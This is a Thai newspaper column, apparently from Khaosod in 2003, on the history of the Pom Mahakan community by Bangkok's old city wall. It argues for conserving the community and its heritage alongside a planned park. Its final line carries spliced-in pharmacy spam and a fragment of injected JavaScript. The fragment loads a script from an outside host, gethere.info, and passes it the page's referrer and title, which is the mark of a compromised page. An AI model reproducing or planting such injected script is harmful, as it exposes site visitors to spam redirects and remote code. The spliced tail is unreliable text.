ข่าวสด-วันพุธที่ ๒๓ เมษายน ๒๕๔๖

 

ชานกำแพงพระนคร

ชุมชนเก่าแก่มีชีวิตของกรุงเทพฯ

ใครขุดคลองบางลำพู หรือคลองโอ่งอ่าง? แล้วคนพวกไหนก่ออิฐสร้างกำแพงพระนครและสร้างป้อมทั่วกรุงเทพฯ ?

พระราชพงศาวดารรัชกาลที่ ๑ จดไว้ชัดเจนว่า พวกเขมร (และจาม) ถูกเกณฑ์มาขุดคลองรอบกรุง ส่วนกำแพงและป้อมเป็นฝีมือแรงงานพวกลาว ทั้งลาวเวียงจันท์และลาวริมแม่น้ำโขง ฟากตะวันตก ก็คืออีสานทุกวันนี้ น่าสังเกตว่าไม่มีพวกไทยเลย หรือจะเป็นนายงานคุมเชลยทั้งหมด?

ป้อมพระสุเมรุ ที่บางลำพูต่อเนื่องถนนพระอาทิตย์ กับป้อมมหากาฬที่ผ่านฟ้า ถนนราชดำเนินกลาง ซึ่งยังเหลืออยู่ทุกวันนี้ย่อมเป็นสิ่งก่อสร้างที่สำเร็จด้วยฝีมือแรงงานของพวกลาวคั่กๆ ลาวปลาแดกแท้ๆ แต่ใครจะรู้? ถึงรู้ก็ไม่อยากจำไม่อยากจด เพราะคนกรุงเทพฯเกือบทั้งหมดไร้สำนึกทางประวัติศาสตร์สังคม จะมีก็แต่ประวัติศาสตร์ “ สังคัง” ไว้ “ขาย” นักท่องเที่ยวต่างชาติ

ถ้าคิดว่าประวัติศาสตร์เป็นทุนวัฒนธรรมที่ “ขาย” ได้ และควร “ขาย” ผมไม่เถียงตรงนี้ แต่ที่จะถามคือไฉนเอาประวัติศาสตร์“สังคัง”ไป“ขาย”? ประวัติศาสตร์สังคมของกรุงเทพฯและสยามประเทศที่ดีๆ งามๆ สนุกสนานตื่นเต้นและถูกต้อง ทำไมไม่เอาออกมา “ขาย” ให้ครื้นเครงและครึกโครม จะมีประโยชน์มหาศาลต่อสติปัญญาของไพร่บ้านพลเมืองทั้งหลายด้วย

พระราชพงศาวดารตั้งแต่กรุงศรีอยุธยาจนถึงกรุงเทพฯ ระบุชัดเจนว่านอกกำแพงเมืองออกไปมีชานกำแพงพระนคร คือบริเวณจากกำแพงยื่นสู่คูเมือง ตรงนี้มีชุมชนตั้งอยู่ เป็นทั้งท่าเรือ และเป็นทั้งตลาด หลักฐานยังมีอยู่ในภาพเขียนแผนที่กรุงเก่าที่ชาวฮอลันดาทำไว้ ขณะนี้มีแสดงอยู่ที่พิพิธภัณฑ์บ้านญี่ปุ่น อยุธยา ส่วนกรุงเทพฯ มีอยู่ในผังเมืองที่สมเด็จฯ กรมพระยาดำรงราชานุภาพ โปรดให้ทำขึ้นเมื่อสมัยรัชกาลที่ ๕

สิ่งเหล่านี้ยืนยันประวัติศาสตร์สังคมว่า ชุมชนป้อมมหากาฬ คือความสืบเนื่องของชุมชนชานกำแพงพระนครมาแต่แรกสร้างกรุงเทพฯ และเป็นสิ่งที่มีรากเหง้ามาแต่ครั้งกรุงศรีอยุธยาทีเดียว

นี่เป็นประวัติศาสตร์สังคมของกรุงเทพฯที่มีเสน่ห์อย่างยิ่ง ทั้งยังเป็นหลักฐานเก่าแก่ที่สุดของกรุงเทพฯ ที่ยังมีชีวิตเหลืออยู่ให้เห็นจริง

ที่ตรงนี้ยังมีลักษณะพิเศษ คือเป็นชุมชนช่างฝีมือถักสายรัดประคตของพระภิกษุ แล้วยังเป็นย่านลิเก-ละครเก่าแก่มาแต่ยุคต้นกรุงเทพฯ เพราะเมื่อถึงแผ่นดินรัชกาลที่ ๕ อันเป็นต้นกำเนิดเกิดลิเกขึ้น (อย่าลืมว่าลิเกสืบเนื่องมาจากละครนอกของชาวบ้านที่มีมาก่อน) บริเวณตรงนี้ต่อเนื่องถึงวัดเทพธิดาราม คือวิกลิเกแห่งแรกของประเทศไทย

ขอเสนอให้คุณณฐนนท ทวีสิน ปลัดกรุงเทพฯ “คิดใหม่” แล้ว “ทำใหม่” คือแทนที่จะปรับพื้นที่เป็นสวนสาธารณะอย่างเดียว ก็ให้ทำควบคู่กันไป คืออนุรักษ์ป้อมและกำแพงเมืองที่มีชุมชนชานกำแพงพระนครกับสวนสาธารณะอยู่ด้วยกัน แล้วยกเรือนโบราณอายุกว่า ๑๐๐ ปีเป็นที่แสดงประวัติศาสตร์ย่อยๆ ถือเป็นพิพิธภัณฑ์ท้องถิ่นของกรุงเทพฯ แห่งหนึ่งในจำนวนหลายๆ แห่งซึ่งจะมีต่อไป

ผมเอารูปเก่ามาลงประกอบให้ดู ตรงนี้แหละคือชุมชนชานกำแพงพระนครป้อมมหากาฬริมคลองโอ่งอ่าง (ฝั่งขวา) มีคลองมหานาคแยกไปทางซ้าย เห็นยอดภูเขาทองวัดสระเกศโดดเด่นบริเวณนี้เป็นที่เล่นสักวาดอกสร้อยลอยเรือมาแต่ยุคต้นกรุงเทพฯ

ลอยกระทงปีนี้จะเอาวงเครื่องสายใส่เรือเล่นมโหรีอย่างโบราณบ้างก็ได้ ก็วงดนตรีไทย กทม. นั่นไง ยกมาอวดบ้างซี่ ของดีมีอยู่แล้วจะเก็บไว้ให้เหี่ยวทำไมfluoxetine dosage forms buy ampicillin online uk s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;